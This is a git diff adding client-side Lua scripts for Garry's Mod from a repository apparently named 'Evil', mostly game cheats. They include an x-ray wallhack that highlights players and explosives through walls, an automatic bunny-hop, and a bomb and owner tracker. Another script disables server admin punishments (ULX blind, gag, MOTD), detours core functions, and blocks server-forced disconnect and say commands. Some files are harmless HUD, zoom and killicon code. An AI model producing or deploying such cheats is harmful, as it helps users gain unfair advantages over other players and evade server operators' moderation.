CanMove and SpecEnt:IsPlayer() then + surface.SetTextPos( (ScrW() / 2) - 0.5*surface.GetTextSize("Spectating " .. SpecEnt:Name()), ScrH() - 80) + surface.DrawText("Spectating " .. SpecEnt:Name()) + elseif not CanMove and not SpecEnt:IsPlayer() then + surface.SetTextPos( (ScrW() / 2) - 0.5*surface.GetTextSize("Spectating an entity"), ScrH() - 80) + surface.DrawText("Spectating an entity") + end + end +end +hook.Add("HUDPaint", "FSpectateScreensonScreen", FSpecScreens) + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_FXVision3.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_FXVision3.lua new file mode 100644 index 0000000..e3e39b6 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_FXVision3.lua @@ -0,0 +1,132 @@ + +local Enabled = false +local WhatMat = CreateClientConVar("falco_mat", "mat2", true, false) +local WhatAlpha = CreateClientConVar("falco_alpha", 25, true, false) +local NewA = WhatAlpha:GetInt() + +local Alpha = 0 +local AllMats = {} +local allcolors = {} + +local NotEqTab = { + ["prop_physics"] = true, + ["item_battery"] = true, + ["item_healthkit"] = true, + ["npc_satchel"] = true, + ["npc_tripmine"] = true, + ["gravestone"] = true, + ["ent_mad_c4"] = true, + ["viewmodel"] = true, + ["prop_vehicle_jeep"] = true, + ["prop_vehicle_airboat"] = true, + ["prop_vehicle_prisoner_pod"] = true, + ["weapon_slam"] = true, +} + +local function TogglePoKiRay() + surface.PlaySound("items/nvg_off.wav") + + NewA = WhatAlpha:GetInt() + if WhatMat:GetString() == "mat1" then + Alpha = 170 + NewA + else + Alpha = 0 + NewA + end + + if Enabled then + for k,v in pairs(ents.GetAll()) do + if ValidEntity(v) then + v:SetMaterial(AllMats[v]) + local z = allcolors[v] + if z and type(z) == "table" then + v:SetColor(z.r, z.g, z.b, z.a) + else + v:SetColor(255,255,255,255) + end + end + end + allcolors = {} + end + Enabled = not Enabled +end +concommand.Add("ToggleFRay", TogglePoKiRay) + + +local function DoPoKiRay() + if not Enabled then return end + + for k,v in pairs( ents.GetAll() ) do + if ValidEntity(v) then + local r,g,b,a = v:GetColor() + local egc = v:GetClass() + NewA = WhatAlpha:GetInt() + + if v:IsPlayer() + and (r != 255 or g != 0 or b != 0 or a != 255) then + allcolors[v] = Color(r,g,b,a) + v:SetColor(255, 0, 0, 255) + + elseif v:IsNPC() + and (r != 0 or g != 0 or b != 255 or a != 255) then + allcolors[v] = Color(r,g,b,a) + v:SetColor(0, 0, 255, 255) + + elseif egc == "prop_physics" + and (r != 50 or g != 255 or b != 50 or a != 35 + Alpha + NewA) then + allcolors[v] = Color(r,g,b,a) + v:SetColor(50, 255, 50, 35 + Alpha + NewA) + + elseif (v:IsWeapon() and egc != "weapon_slam") + and (r != 140 or g != 0 or b != 255 or a != 255) then + allcolors[v] = Color(r,g,b,a) + v:SetColor(140, 0, 255, 255) + + elseif (v:IsVehicle() or egc == "prop_vehicle_jeep" or egc == "prop_vehicle_airboat" or egc == "prop_vehicle_prisoner_pod") + and (r != 0 or g != 207 or b != 255 or a != 59 + Alpha + NewA) then + allcolors[v] = Color(r,g,b,a) + v:SetColor(0, 207, 255, 59 + Alpha + NewA) + + elseif egc == "viewmodel" + and (r != 0 or g != 0 or b != 0 or a != 50) then + allcolors[v] = Color(r,g,b,a) + v:SetColor(0, 0, 0, 50) + + elseif (egc == "ent_mad_c4" or egc == "gravestone" or egc == "npc_tripmine" or egc == "npc_satchel") + and (r != 255 or g != 0 or b != 0 or a != 255) then + allcolors[v] = Color(r,g,b,a) + v:SetColor(255, 0, 0, 255) + + + elseif (egc == "weapon_slam") + and (r != 255 or g != 153 or b != 0 or a != 255) then + allcolors[v] = Color(r,g,b,a) + --v:SetColor(255, 255, 0, 255) --yellow + v:SetColor(255, 153, 0, 255) --orange + + + elseif (egc == "item_battery" or egc == "item_healthkit") + and (r != 255 or g != 0 or b != 100 or a != 255) then + allcolors[v] = Color(r,g,b,a) + v:SetColor(255, 0, 100, 255) + + + elseif not v:IsPlayer() and not v:IsNPC() and not v:IsWeapon() and not v:IsVehicle() and not NotEqTab[ egc ] + and (r != 255 or g != 200 or b != 0 or a != 85 + Alpha + NewA) then + allcolors[v] = Color(r,g,b,a) + v:SetColor(255, 200, 0, 85 + Alpha + NewA) + end + + if egc != "viewmodel" and v:GetMaterial() != WhatMat:GetString() then + AllMats[v] = v:GetMaterial() + v:SetMaterial(WhatMat:GetString()) + end + end + end +end +hook.Add("RenderScene", "NewXrayVision3", DoPoKiRay) + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_FZoom.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_FZoom.lua new file mode 100644 index 0000000..a2a8317 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_FZoom.lua @@ -0,0 +1,97 @@ + + +local FalcoZoom = false +local ZoomHowMuch = 1 +local ZoomStep = 5 +local Extrazoom = 0 +local OldSensitivity = "8" --GetConVarString("sensitivity") + +local function SetZoom(amt) + LocalPlayer():ConCommand("sensitivity "..amt) +end + + +local function ZoomCalc(ply,origin,angles,fov) + if FalcoZoom then + local view = {} + view.origin = ply:GetShootPos() - LocalPlayer():GetAimVector():Angle():Forward() * - Extrazoom + view.angles = LocalPlayer():EyeAngles() + view.fov = ZoomHowMuch + + return view + end +end +hook.Add("CalcView", "ZoomCalc", ZoomCalc) + + +local function ChangeSensitivity() + if Extrazoom > 99 and Extrazoom < 1000 then + SetZoom( tostring(1 -(((90 - ZoomHowMuch) + (Extrazoom/1000)) / 100)) ) + elseif Extrazoom > 999 and Extrazoom < 10000 then + SetZoom( tostring( 1 -(((90 - ZoomHowMuch) + (Extrazoom/10000)) / 100)) ) + elseif Extrazoom > 9999 then + SetZoom("0.01") + elseif Extrazoom < 99 then + SetZoom( tostring(1 -(((90 - ZoomHowMuch) + (Extrazoom/100)) / 100)) ) + end +end + + +local function FZoomToggle(ply,cmd,args) + if cmd == "+fzoom" then + if Extrazoom > 0 then + ChangeSensitivity() + surface.PlaySound("npc/sniper/reload1.wav") + else + surface.PlaySound("weapons/sniper/sniper_zoomin.wav") + ChangeSensitivity() + end + else + SetZoom(OldSensitivity) + end + FalcoZoom = not FalcoZoom +end +concommand.Add("+fzoom", FZoomToggle) +concommand.Add("-fzoom", FZoomToggle) + + +local function ChangeZoom(ply,bnd,pressed) + if FalcoZoom and pressed then + if string.find(bnd, "invprev") and pressed then + if ZoomHowMuch > 1 then + ZoomHowMuch = ZoomHowMuch - ZoomStep + ChangeSensitivity() + surface.PlaySound("weapons/sniper/sniper_zoomin.wav") + else + Extrazoom = Extrazoom + ZoomStep*200 + ChangeSensitivity() + surface.PlaySound("npc/sniper/reload1.wav") + end + return true + + elseif string.find(bnd, "invnext") and pressed then + if ZoomHowMuch < 90 and Extrazoom > 0 then + Extrazoom = Extrazoom - ZoomStep*200 + ChangeSensitivity() + surface.PlaySound("npc/scanner/cbot_servoscared.wav") + elseif ZoomHowMuch < 90 and Extrazoom == 0 then + ZoomHowMuch = ZoomHowMuch + ZoomStep + ChangeSensitivity() + surface.PlaySound("weapons/sniper/sniper_zoomout.wav") + end + return true + + elseif string.find(bnd, "reload") and pressed then + ZoomHowMuch = 11 + Extrazoom = 0 + ChangeSensitivity() + surface.PlaySound("npc/sniper/reload1.wav") + return true + + end + end +end +hook.Add("PlayerBindPress", "ChangeZoom", ChangeZoom) + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_FixAndRemove.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_FixAndRemove.lua new file mode 100644 index 0000000..5c8b7a0 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_FixAndRemove.lua @@ -0,0 +1,266 @@ + + +--- === CRAP ADDONS === --- +local Hooks = { + {H = "PostDrawOpaqueRenderables", N = "threed.PaintHook", D = "Threed"}, + {H = "HUDPaint", N = "wiremod_installed_improperly_popup", D = "Wiremod"}, + {H = "HUDPaint", N = "ulx_blind", D = "ULX"}, + {H = "HUDShouldDraw", N = "qHUDHideHud", D = "QHUD"}, + {H = "HUDPaint", N = "qHUD", D = "QHUD"}, + {H = "HUDPaint", N = "qHUDBase", D = "QHUD"}, + {H = "PlayerInitialSpawn", N = "PlayerSpawn", D = "QHUD"}, + {H = "CalcView", N = "WobbleMan CalcView"}, +} +local Funcs = { + ["ASS_ShouldShowNoticeBar"] = FALSE, + ["GAMEMODE.ASS_HideNoticeBar"] = TRUE, + ["dermarules"] = Useless, + ["stopit"] = Useless, + ["MOTD"] = Useless, + ["RaveDraw"] = Useless, + ["RaveBreak"] = Useless, + ["StealCheats"] = Useless, + ["boot_rules"] = Useless, +} +local Timers = { + "Wire_UpdateNotification_Timer", + "Wire_WMenu_Think", +} +local CVars = { + ["Wire_Welcome_Menu_Blocked"] = 1, + ["Wire_Welcome_Menu_HideUpdateNotification"] = 1, + ["playx_enabled"] = 0, +} +local Commands = { + "Wire_Welcome_Menu", + "MOTDRun", +} +local Messages = { + "ulx_gag", + "ulx_blind", + "StopIt", +} +local Effects = { + "acf_muzzleflash", + "acf_bulleteffect", + "dof_node", + "propspawn", +} + + + + +local EFFECT = { + Init = TRUE, + Think = TRUE, + Render = TRUE, +} +function HeX.RemoveCrapAddons() + if threed then + threed.Active = false + end + if PlayX then + PlayX.Enabled = false + end + if ulx then + ulx.addAdvert = Useless + ulx.blindUser = Useless + ulx.gagUser = Useless + ulx.blind = Useless + ulx.showMotdMenu = Useless + ulx.rcvMotd = Useless + end + + + + for k,v in pairs(Hooks) do --Hooks + local Hook = v.H + local Name = v.N + local Desc = v.D or "Generic" + local BaseHook = hook.GetTable()[Hook] + + if BaseHook then + local func = BaseHook[Name] + + if func then + hook.Remove(Hook, Name) + printDelay( Format("[HeX] BadHook %s=%s-%s", Desc, Hook, Name) ) + func = Useless + end + end + end + + for k,v in pairs(Funcs) do + if (_G[k] and _G[k] != v) then + _G[k] = v + printDelay("[HeX] BadFunc: "..k) + end + end + + for k,v in pairs(Timers) do + if timer.IsTimer(v) then + timer.Destroy(v) + printDelay("[HeX] BadTimer: "..v) + end + end + + for k,v in pairs(CVars) do + if GetConVar(v) then + HeXLRCL( Format("%s %s", k,v) ) + end + end + + for k,v in pairs(Commands) do + concommand.Add(v, function() + printDelay("[HeX] BadCommand: "..v) + end) + end + + for k,v in pairs(Messages) do + usermessage.Hook(v, function() + printDelay("[HeX] BadUserMessage: "..v) + end) + end + + for k,v in pairs(Effects) do + effects.Register(EFFECT, v) + effects.Register(EFFECT, v) + end +end +timer.Simple(1, HeX.RemoveCrapAddons) +HeX.RemoveCrapAddons() + + +function HeX.FixEffects() + HeX.RemoveCrapAddons() + + for k,v in pairs(Effects) do + effects.Register(EFFECT, v) + effects.Register(EFFECT, v) + end +end +hook.Add("InitPostEntity", "HeX.FixEffects", HeX.FixEffects) +--- === /CRAP ADDONS === --- + + + + +---Fuck you, this is NOT what ErrorNoHalt is for--- +local NoError = { + ["Adding Client ChatBubble Hooks.."] = true, + ["Done!\n"] = true, +} + +local function ErrorNoHalt(...) + local Args = {...} + Args = Args[1] or "" + + if NoError[ Args ] then + printDelay("[HeX] BadError: "..Args) + return + end + + return ErrorNoHaltOld(...) +end +HeX.Detour.Global("_G", "ErrorNoHalt", ErrorNoHalt) + + + +--- Always show "X" button on shitty MOTD's --- +local function vguiCreate(...) + if not vgui.LoadedHeXVersion then + vgui.LoadedHeXVersion = true + + print("[OK] First vgui.Create, overriding DFrame") + HeX.include("HeX/hx_DFrame.lua") + end + + --vgui.Create = vgui.CreateOld + --HeX.Detour.Saved["vgui.Create"] = nil + local self = vgui.CreateOld(...) + local info = debug.getinfo(2) + self.Maker = (info and info.short_src or "Gone") + + return self +end +HeX.Detour.Global("vgui", "Create", vguiCreate) + +function HeX.TellDFrameOrigin(self,PANEL) + print("! close: ", self.Maker) +end +hook.Add("HeXCloseDFrame", "HeX.TellDFrameOrigin", HeX.TellDFrameOrigin) + + +function HeX.CloseAllPanels(ply,cmd,args) + if not derma.GetAll then + print("[ERR] derma.GetAll gone!") + return + end + + local tot = 0 + for k,v in pairs( derma.GetAll ) do + if v and v:IsValid() then + print("[OK] Closed "..tostring(v).." from: ", v.Maker) + v:Close() + end + end + gui.EnableScreenClicker(false) + + print("[OK] Closed "..tot.." panels!") +end +concommand.Add("hex_closeall", HeX.CloseAllPanels) + + + +--- No disconnect --- +if (HeXGlobal_AC or HACInstalled) then + printDelay("[WRN] FixAndRemove: Not loading PCC/RCC checker, AC!") +else + local BlockPCC = { + "disconnect", + "connect ", + "say ", + "say_team ", + } + + local function ConCommand(self,cmd) + local Found,IDX,str = cmd:InTable(BlockPCC) + + if Found then + printDelay( Format("[HeX] Bad PCC: '%s' [%s:%s]", cmd, HeX.MyCall() ) ) + return + end + + return self:ConCommandOld(cmd) + end + HeX.Detour.Meta("Player", "ConCommand", ConCommand) + + + + local BlockRCC = { + "disconnect", + "connect", + "say", + "say_team", + } + + local function ConsoleCommand(...) + local Args = {...} + Args = Args[1] or "" + + if BlockRCC[ Args ] then + printDelay( Format("[HeX] Bad RCC: '%s' [%s:%s]", cmd, HeX.MyCall() ) ) + return + end + + return RunConsoleCommandOld(...) + end + HeX.Detour.Global("_G", "RunConsoleCommand", ConsoleCommand) +end + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_GANFix.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_GANFix.lua new file mode 100644 index 0000000..e3be553 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_GANFix.lua @@ -0,0 +1,149 @@ + + +if (HSP and OldNotify) then + printDelay("[HeX] GANFix already installed, skipping..") + return +end + + +surface.CreateFont("Verdana", 15, 600, true, false, "GModNotify2") + +NOTIFY_GENERIC = 0 -- > +NOTIFY_ERROR = 1 -- ! +NOTIFY_UNDO = 2 -- << +NOTIFY_HINT = 3 -- ? +NOTIFY_CLEANUP = 4 -- * + +local NoticeMaterial = { + [NOTIFY_GENERIC] = surface.GetTextureID("vgui/notices/oldgeneric"), + [NOTIFY_ERROR] = surface.GetTextureID("vgui/notices/olderror"), + [NOTIFY_UNDO] = surface.GetTextureID("vgui/notices/oldundo"), + [NOTIFY_HINT] = surface.GetTextureID("vgui/notices/oldhint"), + [NOTIFY_CLEANUP] = surface.GetTextureID("vgui/notices/oldcleanup"), +} + +local HUDNote_c = 0 +local HUDNote_i = 1 +local HUDNotes = {} + +function OldNotify(GAMEMODE,str,type,length) + local tab = {} + tab.text = str or "Fuckup!" + tab.recv = SysTime() + tab.len = length or 0 + tab.velx = -5 + tab.vely = 0 + tab.x = ScrW() + 200 + tab.y = ScrH() + tab.a = 255 + tab.type = type or NOTIFY_ERROR + + table.insert( HUDNotes, tab ) + + HUDNote_c = HUDNote_c + 1 + HUDNote_i = HUDNote_i + 1 +end + + +timer.Simple(1, function() + if notification then + notification.AddLegacy = function(str,typ,len) + OldNotify(nil,str,typ,len) + end + end + if GAMEMODE then + GAMEMODE.AddNotify = OldNotify + end +end) + + + +local function DrawOldNotice(self,k,v,i) + local H = ScrH() / 1024 + local x = v.x - 75 * H + local y = v.y - 300 * H + + if ( !v.w ) then + surface.SetFont( "GModNotify2" ) + v.w, v.h = surface.GetTextSize( v.text ) + end + + local w = v.w + local h = v.h + + w = w + 16 + h = h + 16 + + draw.RoundedBox( 4, x - w - h + 8, y - 8, w + h, h, Color( 30, 30, 30, v.a * 0.4 ) ) + + // Draw Icon + surface.SetDrawColor( 255, 255, 255, v.a ) + surface.SetTexture( NoticeMaterial[ v.type ] ) + surface.DrawTexturedRect( x - w - h + 16, y - 4, h - 8, h - 8 ) + + draw.SimpleText( v.text, "GModNotify2", x+1, y+1, Color(0,0,0,v.a*0.8), TEXT_ALIGN_RIGHT ) + draw.SimpleText( v.text, "GModNotify2", x-1, y-1, Color(0,0,0,v.a*0.5), TEXT_ALIGN_RIGHT ) + draw.SimpleText( v.text, "GModNotify2", x+1, y-1, Color(0,0,0,v.a*0.6), TEXT_ALIGN_RIGHT ) + draw.SimpleText( v.text, "GModNotify2", x-1, y+1, Color(0,0,0,v.a*0.6), TEXT_ALIGN_RIGHT ) + draw.SimpleText( v.text, "GModNotify2", x, y, Color(255,255,255,v.a), TEXT_ALIGN_RIGHT ) + + local ideal_y = ScrH() - (HUDNote_c - i) * (h + 4) + local ideal_x = ScrW() + local timeleft = v.len - (SysTime() - v.recv) + + // Cartoon style about to go thing + if ( timeleft < 0.8 ) then + ideal_x = ScrW() - 50 + end + + // Gone! + if ( timeleft < 0.5 ) then + ideal_x = ScrW() + w * 2 + end + + local spd = RealFrameTime() * 15 + + v.y = v.y + v.vely * spd + v.x = v.x + v.velx * spd + + local dist = ideal_y - v.y + v.vely = v.vely + dist * spd * 1 + if (math.abs(dist) < 2 && math.abs(v.vely) < 0.1) then v.vely = 0 end + local dist = ideal_x - v.x + v.velx = v.velx + dist * spd * 1 + if (math.abs(dist) < 2 && math.abs(v.velx) < 0.1) then v.velx = 0 end + + // Friction.. kind of FPS independant. + v.velx = v.velx * (0.95 - RealFrameTime() * 8 ) + v.vely = v.vely * (0.95 - RealFrameTime() * 8 ) +end + + +local function OldPaintNotes() + if (!HUDNotes) then return end + local i = 0 + + for k, v in pairs(HUDNotes) do + if ( v != 0 ) then + i = i + 1 + DrawOldNotice(GAMEMODE,k,v,i) + end + end + + for k, v in pairs(HUDNotes) do + if ( v != 0 && v.recv + v.len < SysTime() ) then + HUDNotes[ k ] = 0 + HUDNote_c = HUDNote_c - 1 + + if (HUDNote_c == 0) then + HUDNotes = {} + end + end + end +end +hook.Add("HUDPaint", "OldNotify", OldPaintNotes) + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_HEV.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_HEV.lua new file mode 100644 index 0000000..020abcb --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_HEV.lua @@ -0,0 +1,190 @@ + + +local Enabled = CreateClientConVar("hev_enabled", 1, true, false) + +local ToTrack = { + ["ent_mad_c4"] = {Name = "C4 Bomb", Owner = true, Always = true}, + ["nuke_missile"] = {Name = "Atomic bomb", Owner = true, Always = true, Color = RED}, + ["uh_bb_missile"] = {Name = "Heat-seeking missile", Always = true, Color = ORANGE}, + ["rpg_missile"] = {Name = "Missile", Always = true}, + ["npc_grenade_frag"] = {Name = "Frag", Always = true}, + ["grenade_ar2"] = {Name = "SMG Grenade", Always = true}, + ["npc_tripmine"] = {Name = "Tripmine", Owner = true, NoFeet = true, NoMe = true, Always = true}, + ["crossbow_bolt"] = {Name = "Crossbow Bolt", Always = true}, + ["prop_combine_ball"] = {Name = "High Energy Pellet", Always = true}, + ["weapon_nuke"] = {Name = "Nuke launcher", Color = RED}, + + ["weapon_rpg"] = {Name = "RPG", NoFeet = true, Color = GREEN2}, + ["weapon_slam"] = {Name = "SLAM", NoFeet = true, Color = RED2}, +} + +for k,v in pairs(ToTrack) do + CreateClientConVar("hev_show_"..k, 1, true, false) +end + + + +local function Time(raw) + if not raw then return "0:00" end + + local Time = "" + local Min = 0 + local Sec = 0 + raw = math.floor(raw) + + if raw < 0 then + raw = -raw + end + + if raw > 59 then + Min = math.floor(raw/60) + Sec = raw - ( math.floor(raw/60)*60 ) + + if Sec < 10 then + Sec = "0"..Sec + end + Time = Format("%s:%s", Min, Sec) + else + Time = raw.." Seconds" + end + + return Time +end + + +local SetNick = false +local function GetOwnerNick(ent,NoMe) + if not SetNick then + SetNick = LocalPlayer():Nick() --Less lag calling all the time + end + + local Nick = "N/A" + local Col = YELLOW2 + local Owner = ent:GetNetworkedEntity("OwnerObj", false) + + if (ValidEntity(Owner) and Owner:IsPlayer()) then + Nick = Owner:Nick() + Col = Owner:TeamColor() + else + Owner = ent:GetNetworkedString("Owner", "N/A") + + if type(Owner) == "string" then + Nick = Owner + + elseif (ValidEntity(Owner) and Owner:IsPlayer()) then + Nick = Owner:Nick() + Col = Owner:TeamColor() + end + end + + if (Nick == "N/A" or Nick == "World") then + return false, Col + + elseif (Nick == SetNick and NoMe) then --No! + return false, YELLOW2 + end + + return Nick, Col +end + + +local TEXT_ALIGN_CENTER = TEXT_ALIGN_CENTER +function HeX.ShowHEV() + if not Enabled:GetBool() then return end + + for k,v in pairs( ents.GetAll() ) do + if ValidEntity(v) then + local egc = v:GetClass() + local Tab = ToTrack[ egc ] + + if Tab then + local CanMove = (v:GetMoveType() != 0) + if (Tab.Always or false) then + CanMove = true + end + + if CanMove and GetConVar("hev_show_"..egc):GetBool() then + local Pos = v:LocalToWorld( v:OBBCenter() ):ToScreen() + local Name = Tab.Name + local Col = Tab.Color or YELLOW2 + local Owner = Tab.Owner + local NoFeet = Tab.NoFeet + local NoMe = Tab.NoMe + + local XPos = Pos.x + local YPos = Pos.y - 35 * ( ScrH() / ScrW() ) + local text_font = "Marlett" + surface.SetFont(text_font) + + + local Width,Height = surface.GetTextSize("6") --Arrow + draw.DrawText("6", text_font, XPos, YPos, Col, TEXT_ALIGN_CENTER) + text_font = "HudSelectionText" + surface.SetFont(text_font) + + if not NoFeet then + local DISTANCE = math.Round(LocalPlayer():GetPos():Distance( v:GetPos() ) / 12).." ft" + Width,Height = surface.GetTextSize(DISTANCE) --DISTANCE + YPos = YPos - Height + draw.DrawText(DISTANCE, text_font, XPos, YPos, Col, TEXT_ALIGN_CENTER) + end + + local C4Count = v.C4CountDown + if (C4Count) then + local C4Time = 0 + local C4Color = RED2 + + if (C4Count >= 15) then + C4Color = GREEN + C4Time = Time(C4Count) + + elseif (C4Count != 0 and C4Count < 15) then + C4Color = RED2 + C4Time = C4Count.." Seconds" + + else + C4Color = RED2 + C4Time = "You're fucked!" + end + + Width,Height = surface.GetTextSize(C4Time) --C4 + YPos = YPos - Height + draw.DrawText(C4Time, text_font, XPos, YPos, C4Color, TEXT_ALIGN_CENTER) + end + + if Owner then + local Own,TeamC = GetOwnerNick(v,NoMe) + if Own then + Width,Height = surface.GetTextSize(Own) --Owner + YPos = YPos - Height + draw.DrawText(Own, text_font, XPos, YPos, TeamC, TEXT_ALIGN_CENTER) + end + end + + Width, Height = surface.GetTextSize(Name) --Name + YPos = YPos - Height + draw.DrawText(Name, text_font, XPos, YPos, color_white, TEXT_ALIGN_CENTER) + end + end + end + end +end + + + +timer.Simple(1, function() + if (HSP and HSP.ShowHEV) then + hook.Remove("HUDPaint", "HSP.ShowHEV", HSP.ShowHEV) + print("[HeX] Removed HSP.ShowHEV, loading custom") + end + + hook.Add("HUDPaint", "HeX.ShowHEV", HeX.ShowHEV) +end) + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_Hopper.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_Hopper.lua new file mode 100644 index 0000000..bcbbe65 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_Hopper.lua @@ -0,0 +1,41 @@ + + +local ChatOpen = false +local BadMove = { + [MOVETYPE_NONE] = true, + [MOVETYPE_FLY] = true, + [MOVETYPE_FLYGRAVITY] = true, + [MOVETYPE_PUSH] = true, + [MOVETYPE_NOCLIP] = true, + [MOVETYPE_LADDER] = true, + [MOVETYPE_OBSERVER] = true, +} + + +local Key = input.IsKeyDown +local function Hopper(cmd) + if ChatOpen then return end + if not (Key(KEY_SPACE) and (Key(KEY_LSHIFT) or Key(KEY_LCONTROL))) then return end + + local ply = LocalPlayer() + if (ply:WaterLevel() > 0) or BadMove[ ply:GetMoveType() ] then return end + + local butt = cmd:GetButtons() + if ply:OnGround() then + cmd:SetButtons(butt | IN_JUMP) + else + cmd:SetButtons(butt - IN_JUMP) + end +end +hook.Add("CreateMove", "Hopper", Hopper) + + +hook.Add("StartChat", "Hopper_ChatOpen", function() ChatOpen = true end) +hook.Add("FinishChat", "Hopper_ChatClose", function() ChatOpen = false end) + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_Info.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_Info.lua new file mode 100644 index 0000000..51fc8d5 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_Info.lua @@ -0,0 +1,37 @@ + + + +local function ThatEnt() + return LocalPlayer():GetEyeTrace().Entity +end + + + +concommand.Add("propinfo", function() + local ent = ThatEnt() + if not ValidEntity(ent) then return end + + print(ent) + + print("Model: ", ent:GetModel() ) + print("Position: ", ent:GetPos() ) + print("Color: ", ent:GetColor() ) + print("Material: ", ent:GetMaterial() ) + print("Angle: ", ent:GetAngles() ) + print("Size: ", ent:OBBMaxs() - ent:OBBMins() ) +end ) + + + +concommand.Add("copymat", function() + local ent = ThatEnt() + if not ValidEntity(ent) then return end + local mat = ent:GetMaterial() + + print("Material: ", mat) + SetClipboardText(mat) + RunConsoleCommand("material_override", mat) +end) + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_Language.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_Language.lua new file mode 100644 index 0000000..4c3415a --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_Language.lua @@ -0,0 +1,186 @@ + + + +local function AddKillicon(class, material) + killicon.Add(class,material,KIRED) +end + +timer.Simple(0.3, function() + killicon.AddFont("prop_physics", "HL2MPTypeDeath", ",", KIRED) + killicon.AddFont("prop_physics_multiplayer", "HL2MPTypeDeath", ",", KIRED) + killicon.AddFont("prop_physics_override", "HL2MPTypeDeath", ",", KIRED) + + killicon.AddFont("weapon_deagle", "CSKillIcons", "f", KIRED) + killicon.AddFont("weapon_m4", "CSKillIcons", "w", KIRED) +end) + + +//NPCs + +//Combine robots +killicon.Add("npc_rollermine", "HUD/killicons/npc_rollermine", color_white) --Done +killicon.Add("npc_manhack", "HUD/killicons/npc_manhack", color_white) --Done +killicon.Add("npc_cscanner", "HUD/killicons/npc_cscanner", color_white) --Done + +//Headcrabs +killicon.Add("npc_headcrab", "HUD/killicons/npc_headcrab", color_white) --Done +killicon.Add("npc_headcrab_fast", "HUD/killicons/npc_headcrab_fast", color_white) --Done + +//Zombies +killicon.Add("npc_zombie", "HUD/killicons/npc_zombie", color_white) --Done +killicon.Add("npc_zombie_torso", "HUD/killicons/npc_zombie_torso", color_white) --Done +killicon.Add("npc_fastzombie", "HUD/killicons/npc_fastzombie", color_white) --Done +killicon.Add("npc_poisonzombie", "HUD/killicons/npc_poisonzombie", color_white) --Done + +//Antlions +killicon.Add("npc_antlion", "HUD/killicons/npc_antlion", color_white) --Done +killicon.Add("npc_antlionguard", "HUD/killicons/npc_antlionguard", color_white) --Done + +//Others +killicon.Add("npc_barnacle", "HUD/killicons/npc_barnacle", color_white) --Done +killicon.Add("npc_vortigaunt", "HUD/killicons/npc_vortigaunt", color_white) --Unused + +//Non-Default NPCs +killicon.Add("npc_strider", "HUD/killicons/npc_strider", color_white) --Done +killicon.Add("npc_helicopter", "HUD/killicons/npc_helicopter", color_white) --Unused +killicon.Add("npc_combinegunship", "HUD/killicons/npc_combinegunship", color_white) --Done +killicon.Add("npc_turret_floor", "HUD/killicons/npc_turret_floor", color_white) --Done +killicon.Add("npc_stalker", "HUD/killicons/npc_stalker", color_white) --Unused +--killicon.Add("combine_mine", "HUD/killicons/combine_mine", color_white) --Unused + +//Not NPCs + +//Weapons +killicon.Add("weapon_alyxgun", "HUD/killicons/weapon_alyxgun", color_white) --Done +killicon.Add("weapon_annabelle", "HUD/killicons/weapon_annabelle", color_white) --Squashed +killicon.Add("weapon_citizenpackage", "HUD/killicons/weapon_citizenpackage", color_white) --Done +killicon.Add("weapon_citizensuitcase", "HUD/killicons/weapon_citizensuitcase", color_white)--Done + +//Props +killicon.Add("prop_ragdoll", "HUD/killicons/prop_ragdoll", color_white) --Done + +//Damaging +--killicon.Add("env_explosion", "HUD/killicons/env_explosion", color_white) --Done +killicon.Add("gmod_dynamite", "HUD/killicons/env_explosion" , color_white) --Dynamite +--killicon.Add("entityflame", "HUD/killicons/entityflame", color_white) --Done + +//Vehicles +killicon.Add("prop_vehicle_jeep", "HUD/killicons/prop_vehicle_jeep", color_white) --Done +killicon.Add("prop_vehicle_airboat", "HUD/killicons/prop_vehicle_airboat", color_white) --Done +killicon.Add("prop_vehicle_prisoner_pod", "HUD/killicons/prop_vehicle_prisoner_pod", color_white) --Small + + 